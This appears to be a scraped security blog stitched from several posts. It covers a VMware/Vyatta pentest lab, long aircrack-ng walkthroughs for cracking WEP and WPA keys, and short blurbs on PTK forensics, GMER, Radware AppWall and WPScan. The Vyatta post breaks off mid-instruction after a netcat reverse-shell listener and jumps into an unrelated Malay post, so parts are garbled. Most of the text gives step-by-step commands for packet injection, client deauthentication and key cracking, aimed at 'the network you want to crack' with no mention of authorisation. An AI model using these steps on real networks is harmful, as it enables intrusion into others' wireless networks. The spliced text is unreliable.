How to use Vyatta in vmware to simulate Hacking from inside network scenario

In the classes I taught i use Vmware Workstation 7 to create penetration testing Lab
and use Vyatta to simulate as Router, you can use Vyatta to simulate many scenario such as hack into DMZ ... etc, Vyatta support zone-base firewall.

you can download vyatta at the following link:
http://www.vyatta.org/downloads
Vyatta Document:
http://www.vyatta.org/documentation

Lab Diagram



Vm Image:
R1 - Vyatta have 2 nic , eth0 simulate as Wan , eth1 are Lan
Victim - Linux(u can use other operating system to create vuln image)
Attacker - Blackbuntu Linux

Vmware Configuration:
1. Create Vmware Team and add Lan segment in team, for Attacker-Network
please read http://www.vmware.com/support/ws5/doc/ws_team_create_wizard.html for more information how to create team in vmware
2. Add Vyatta image to team, set eth0 connect to NAT, eth1 connect to Lan segment in team
3. Add Blackbuntu to to team, set network interface (in my case are eth0) connect to eth1
3. Vuln Image (Victim) set network connect to NAT

Vyatta Configuration:
set hostname and ip address, etc..

set system host-name R2
set system domain-name blackbuntu.lan
set interfaces ethernet eth0 address 172.16.14.11/24
set system name-server 172.16.14.2
set system gateway-address 172.16.14.2
set interfaces ethernet eth1 address 192.168.1.1/24
set service ssh

Configuring DHCP Server:

set service dhcp-server shared-network-name ETH1_POOL subnet 192.168.1.0/24 start 192.168.1.20 stop 192.168.1.200
set service dhcp-server shared-network-name ETH1_POOL subnet 192.168.1.0/24 default-router 192.168.1.1
set service dhcp-server shared-network-name ETH1_POOL subnet 192.168.1.0/24 dns-server 172.16.14.2

## Configuring NAT

set service nat rule 1 source address 192.168.1.0/24
set service nat rule 1 outbound-interface eth0
set service nat rule 1 type masquerade


## Configuring Firewall:
## Define a firewall rule set:

set firewall name ALLOW_ESTABLISHED
set firewall name ALLOW_ESTABLISHED rule 10
set firewall name ALLOW_ESTABLISHED rule 10 action accept
set firewall name ALLOW_ESTABLISHED rule 10 state

## Apply the rule set to an interface:

set interfaces ethernet eth0 firewall in name ALLOW_ESTABLISHED
set interfaces ethernet eth0 firewall local name ALLOW_ESTABLISHED
commit
save

After commit and save, at this point you should ping and can connect from Blackbuntu(Attacker) to Victim (and internet too)

### Config port forward ###
Scenario/Question:
When we hack into victim, if we want to reverse shell back to Blackbuntu box that locate at inside network behind NAT,What can we do?

Solution/Answer:
Configure DNAT rules with port destination and firewall destination rules.
Example: on Blackbuntu box we listening on port 80 for incoming connection with command
$nc -lvvp 80
on vyatta should config DNAT like this:

cara guna aircrack guna windows pulak

untuk guna dalam windows kene download aircrack versi windows punya.selepas download letak kat drive C dalam mycomputer

ikut step-step dibawah..selamat mencuba

NOTE: I’m going to base the rest of this tutorial on a card with the commview drivers installed!

- Next step is to download this .dll file (again only commview driver users):
http://darkircop.org/commview.dll

- Next up, download the aircrack package. Download it here:
http://dl.aircrack-ng.org/aircrack-ng-svn-win.zip

unzip the file to your c:\ drive (it can be another drive but this is the easiest)

put the commview.dll file you just downloaded in the map you extracted (it’s called aircrack and if you extracted it to your c: drive like I said it should be in c:\aircrack\)

Now go to you place where you installed Commview in (the program itself) and look for a file called “ca2k.dll” (default install dir is c:\program files\commview for wifi\)

Copy this file to the same folder as the commview.dll (c:\aircrack\)

OKAY that was a whole lot! this was just to get everything ready! If you did all of this correct you’ll be able to move to the next step!
——————————————————————————————-

THE CRACKING:

Step 1:
- Open a command prompt (start > run > cmd.exe)

Step 2:
- type the following in the command prompt:

Quote:
cd c:\aircrack\

- HIT ENTER

Step 3:
- type the following in the same command prompt:

Quote:
airserv-ng -d commview.dll

- HIT ENTER
- You should see something like this coming up in the command prompt

Quote:
Opening card commview.dll
Setting chan 1
Opening sock port 666
Serving commview.dll chan 1 on port 666
Step 4:
- Open a new command prompt (LEAVE THE PREVIOUS ONE OPEN AT ALL TIMES!!)
- Typ the following the the new command prompt:

Quote:
cd c:\aircrack\

-HIT ENTER

Step 5:
- Now typ this in the same command prompt:

Quote:
airodump-ng 127.0.0.1:666

- HIT ENTER

note: if you know what channel the to-monitor-network is on you can make it this. I recommend this!:

Quote:
airodump-ng –channel YOURCHANNELNUMBER HERE 127.0.0.1:666
Airodump-ng should start capturing data from the networks on the given channel now, you’ll notice it isn’t going fast (except if it’s a big company’s network or something). We are going to speed this process up!
Take a note of the following:
1: BSSID of the network you want to crack = MAC address.
2: ESSID of the network you want to crack = name of the network (example: wifi16, mynetwork,…)
3: The mac of the card you are using to monitor the packets

LEAVE THE 2 COMMAND PROMPTS YOU ALREADY HAVE OPEN OPEN!!!

Step 6:
- Open a new command prompt
- Type in the following:

Quote:
cd c:\aircrack\

- HIT ENTER

Step 7:
- Type in the following in command prompt:

Quote:
aireplay-ng -1 0 -e ESSID-OF-THE-NETWORK-YOU-WANT-TO-CRACK -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666
yes quite confusing so a quick example:
ESSID = wifi16
BSSID = 11:22:33:44:55:66
MAC OF CARD I’M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -1 0 -e wifi16 -a 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666

if all goes well you’ll get this as the outcome:

Quote:
Sending Authentication Request
Authentication successful
Sending Association Request
Association successful
if you get:

Quote:
AP rejects the source MAC address

It means MAC filtering is enabled on the network you want to crack and you’ll need to get hold of a mac address that’s allowed access.

if you keep getting:

Quote:
sending authentication request

Try moving closer to the AP!

Step 8:
in the same command prompt as the one in step 7 type:

Quote:
aireplay-ng -5 -b BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR 127.0.0.1:666
yes quite confusing once again so a quick example:
BSSID = 11:22:33:44:55:66
MAC OF CARD I’M USING = 01:23:45:67:89:01

so that will get me:
aireplay-ng -5 -b 11:22:33:44:55:66 -h 01:23:45:67:89:01 127.0.0.1:666

if all goes well you’ll get this:

Quote:
Waiting for a data packet…
Read #number packets…


Step 9:
if you wait a little bit you’ll soon be prompted with a packet like this:

Quote:
Size: 120, FromDS: 1, ToDS: 0 (WEP)
BSSID = the bssid
Dest. MAC = the dest mac
Source MAC = the source mac

0×0000: 0842 0201 000f b5ab cb9d 0014 6c7e 4080 .B……….l~@.
0×0010: 00d0 cf03 348c e0d2 4001 0000 2b62 7a01 ….4…@…+bz.
0×0020: 6d6d b1e0 92a8 039b ca6f cecb 5364 6e16 mm…….o..Sdn.
0×0030: a21d 2a70 49cf eef8 f9b9 279c 9020 30c4 ..*pI…..’.. 0.
0×0040: 7013 f7f3 5953 1234 5727 146c eeaa a594 p…YS.4W’.l….
0×0050: fd55 66a2 030f 472d 2682 3957 8429 9ca5 .Uf…G-&.9W.)..
0×0060: 517f 1544 bd82 ad77 fe9a cd99 a43c 52a1 Q.D…w…..0×0070: 0505 933f af2f 740e …?./t.

Use this packet ?

note: size can vary, I always pressed in y and it worked
- press in Y
- HIT ENTER

You should see something like this coming up (or similar):

Quote:
Saving chosen packet in replay_src-0124-161120.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0124-161129.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Note 1: It doesn’t need to be 1500 bytes!!
Note 2: Check the bold part, you’re going to need this file!
AGAIN DON’T CLOSE THIS COMMAND PROMPT!!

if you keep getting:

Quote:
Data packet found!
Sending fragmented packet
No answer, repeating…
Trying a LLC NULL packet
Sending fragmented packet
No answer, repeating…
Sending fragmented packet
…

Just keep trying! It automatically starts over again (moving closer to the AP has been reported to help.)

anyways, if you got the bytes of keystream (everything worked) it’s time for the next step!

Step 10:
- Press CTRL + C in the command prompt used in step 8
- Now type in the following:

Quote:
packetforge-ng -0 -a BSSID:OF:THE:NETWORK:YOU:WANT:TO:CRACK -h MAC:OF:THE:CARD:YOU:ARE:USING:TO:MONITOR -k 192.168.1.100 -l (= an ELL not a 1) 192.168.1.1 -y fragment-0124-161129.xor -w arp-request
Remember the file I made bold in part 8? Well it’s obviously the same as in 9 meaning you need to put the same filename here.
The part I made green here is the filename you use to save the packet, you can choose whatever you want but you must use this filename in the upcomming steps!

Step 11:
Now that we’ve got our ARP REQ packet we can start injecting!
Here’s how to do this.
- Go to the command prompt used in step 9
- Type in the following:

Quote:
aireplay-ng -2 -r arp-request 127.0.0.1:666

The green part once again indicates the filename!

You should now see something like this coming up:

Quote:
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0×0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A….l~@…….
0×0010: ffff ffff ffff 8001 6c48 0000 0999 881a ……..lH……
0×0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/….0.M
0×0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :…..gC.V$…..
0×0040: d64f b709 .O..

Use this packet ?


- Type in Y
- HIT ENTER

This should come up now:

Quote:
Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.
sent #numberOfPackets … (#number pps)


You’ll see the numberOfPackets rising really fast, you are injecting these packets now.

Step 12:
Now go back to the command prompt where you had airodump-ng in open
and press CTRL + C
now type in the following:

Quote:
airodump-ng –channel CHANNELYOUWANTTOCAPTUREFROM –write Filename 127.0.0.1:666

Note: Filename = The name of the file where the data packets are saved, this will be used in the next step

If all goes correct you should be capturing as much packets per second as you are injecting (maybe even more).

Step 13:
when you think you have enough…
note: 200000 min for 64bit (just capture 1Million to be sure)
…press CTRL + C in the command prompt that has airodump-ng running and enter the following:

Quote:
aircrack-ng -n 64 Filename.cap
note:
Filename = see previous step
64 = the bit depth of the key (128 for 128bit etc…)

hack wifi used aircrack

security dalam wireless yang biasa digunakan ialah
open = memang openlah
wep = ada password tapi boleh hack
wep2/psk = ada password tapi sukar sikit nak hack

oleh itu disini kita gunakan os backtrack

airmon-ng - script used for switching the wireless network card to monitor mode
airodump-ng - for WLAN monitoring and capturing network packets
aireplay-ng - used to generate additional traffic on the wireless network
aircrack-ng - used to recover the WEP key, or launch a dictionary attack on WPA-PSK using the captured data

setup airmon-ng

ok mula - mula test command di bawah
iwconfig (untuk melihat status wireless card itu sama ada wlan0,wlan1 dan dll)
airmon-ng start wlan0 (untuk set monitor mode, nama card ini akan digunakan untuk proses aircrack nanti)
cth :wlan0

Other related Linux commands:

ifconfig (to list available network interfaces, my network card is listed as wlan0)
ifconfig wlan0 down (to stop the specified network card)
ifconfig wlan0 hw ether 00:11:22:33:44:55 (change the MAC address of a NIC - can even simulate the MAC of an associated client. NIC should be stopped before chaning MAC address)
iwconfig wlan0 mode monitor (to set the network card in monitor mode)
ifconfig wlan0 up (to start the network card)
iwconfig - similar to ifconfig, but dedicated to the wireless interfaces.

Recon Stage (airodump-ng)

airodump-ng mon0: command ini digunakan untuk scan; "mon0" itu adalah nama wireless card yg digunakan.kalau wlan0 gunelah "airodump-ng wlan0" akan keluar seperti page dibawah



gambar diatas menunjukkan BSSID , PWR , BEACONS , CH ,ESSID
kat sini kite perlukan BSSID,CH,ESSID untuk proses seterusnye kerana:
BSSID = menunjukkan mac address modem wireless tersebut
CH = channel yg digunakan
ESSID = nama wireless yg digunakan

Increase Traffic (aireplay-ng) - optional step for WEP cracking

ni command die
aireplay-ng -3 -b 00:0F:CC:7D:5A:74 -h 00:14:A5:2F:A7:DE -x 50 wlan0

-3 --> this specifies the type of attack, in our case ARP-request replay
-b ..... --> MAC address of access point
-h ..... --> MAC address of associated client from airodump
-x 50 --> limit to sending 50 packets per second
wlan0 --> our wireless network interface



notes:
To test whether your nic is able to inject packets, you may want to try: aireplay-ng -9 wlan0. You may also want to read the information available -here-.
To see all available replay attacks, type just: aireplay-ng

bile dah proses aireplay ini berjaya terdapat satu file.cap telah di save

Crack WEP (aircrack-ng)

WEP cracking is a simple process, only requiring collection of enough data to then extract the key and connect to the network. You can crack the WEP key while capturing data. In fact, aircrack-ng will re-attempt cracking the key after every 5000 packets.

o attempt recovering the WEP key, in a new terminal window, type:

aircrack-ng data*.cap (assuming your capture file is called data...cap, and is located in the same directory)



Notes:
If your data file contains ivs/packets from different access points, you may be presented with a list to choose which one to recover.
Usually, between 20k and 40k packets are needed to successfully crack a WEP key. It may sometimes work with as few as 10,000 packets with short keys.

Crack WPA or WPA2 PSK (aircrack-ng)

WPA, unlike WEP rotates the network key on a per-packet basis, rendering the WEP method of penetration useless. Cracking a WPA-PSK/WPA2-PSK key requires a dictionary attack on a handshake between an access point and a client. What this means is, you need to wait until a wireless client associates with the network (or deassociate an already connected client so they automatically reconnect). All that needs to be captured is the initial "four-way-handshake" association between the access point and a client. Essentially, the weakness of WPA-PSK comes down to the passphrase. A short/weak passphrase makes it vulnerable to dictionary attacks.

To successfully crack a WPA-PSK network, you first need a capture file containing handshake data. This can be obtained using the same technique as with WEP in step 3 above, using airodump-ng.

You may also try to deauthenticate an associated client to speed up this process of capturing a handshake, using:

aireplay-ng --deauth 3 -a MAC_AP -c MAC_Client mon0 (where MAC_IP is the MAC address of the access point, MAC_Client is the MAC address of an associated client, mon0 is your wireless NIC).

The command output looks something like:
12:34:56 Waiting for beakon frame (BSSID: 00:11:22:33:44:55:66) on channel 6
12:34:56 Sending 64 directed DeAuth. STMAC: [00:11:22:33:44:55:66] [ 5:62 ACKs]

Note the last two numbers in brackets [ 5:62 ACKs] show the number of acknowledgements received from the client NIC (first number) and the AP (second number). It is important to have some number greater than zero in both. If the first number is zero, that indicates that you're too far from the associated client to be able to send deauth packets to it, you may want to try adding a reflector to your antenna (even a simple manilla folder with aluminum foil stapled to it works as a reflector to increase range and concentrate the signal significantly), or use a larger antenna.

Computer Forensic Framework-PTK

kat sini nak share satu benda.selalu dengar PTK ni untuk orang goment tapi tuk computer forensic pun ada jugak.kat sini saya nak terangkan serba sedikit mengenai ape die PTK

compuer forensic nmerupakan sains digital digunakan untuk analisis,mengenalpasti informasi coding2 atau dll

dalam os backtrack 5 ia terdapat didalam forensic tools kira tak payah lagi nak download sbb die dah ada.
Beside tools and tricks there are numerous training available on Internet.
PTK forensics is a computer forensic framework for the command line tools in the SleuthKit plus much more software modules. This makes it usable and easy to investigate a system.

PTK forensics is more than just a new graphic and highly professional interface based on Ajax and other advanced technologies; it offers numerous features such as analysis, search and management of complex digital investigation cases.


Ubuntu
MAC OSX
Centos
Kubuntu
If you are using backtrack 5, than there is no need to download PTK because it is available on backtrack5.

Download

GMER is an application that detects and removes rootkits .

GMER is a tools used for detects and removes rootkits. Day before yesterday we talked about rootkits in addition to that heres another effective root kit removewer GMER.
GMER scans for
It scans for:

hidden processes
hidden threads
hidden modules
hidden services
hidden files
hidden disk sectors (MBR)
hidden Alternate Data Streams
hidden registry keys
drivers hooking SSDT
drivers hooking IDT
drivers hooking IRP calls
inline hooks

for information klick is here

AppWall: Protect Critical Web Applications with Radware Web Application Firewall.

APSolute Web Security and Compliance with AppWall: Taking Web Application Security to the Next Level

Radware’s AppWall® is a Web Application Firewall (WAF) appliance that secures Web applications and enables PCI compliance by mitigating web application security threats and vulnerabilities. It prevents data theft and manipulation of sensitive corporate and customer information.

Complete Web Application Protection

Full coverage out-of-the-box of OWASP top-10 threats ─including injections, cross site scripting (XSS), cross site request forgery (CSRF), broken authentication and session management and security mis-configuration .
Data leak prevention – identifying and blocking sensitive information transmission such as credit card numbers (CCN) and social security numbers (SSN).
Zero-day attacks prevention – AppWall positive security profiles limiting the user input only to the level required by the application to properly function, thus blocking also zero day attacks. The positive security profiles are a proven protection against zero-day attacks.
Protocol validation – AppWall enables HTTP standards compliance to prevent evasion techniques and protocol exploits.
XML and Web services protection - AppWall offers a rich set of XML and web services security protections, including XML validity check web services method restrictions, XML structure validation to enforce legitimate SOAP messages and XML payloads.
Web application vulnerabilities – signature protection offer the most accurate detection and blocking technology of web application vulnerability exploits. AppWall negative security profiles offers comprehensive attack protection.

Fully Addresses PCI DSS 2.0 Requirement 6.6

The Payment Card Industry (PCI) issued Data Security Standard (DSS) to phttp://www.blogger.com/img/blank.gifrevent financial fraud and information leak from on-line businesses processing credit cards. AppWall fully addresses requirement 6.6 by:

Protecting credit card numbers leakage and use of web hacking techniques to disclose information processed through web applications
Out-of-the-box PCI policies
PCI compliance reports

for information click here

WPSCAN - WordPress Security & vulnerability Scanner

WPSCAN - WordPress Security & vulnerability Scanner



WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach.

Details
Username enumeration (from author querystring and location header)
Weak password cracking (multithreaded)
Version enumeration (from generator meta tag)
Vulnerability enumeration (based on version)
Plugin enumeration (2220 most popular by default)
Plugin vulnerability enumeration (based on version) (todo)
Plugin enumeration list generation
Other misc WordPress checks (theme name, dir listing, ...)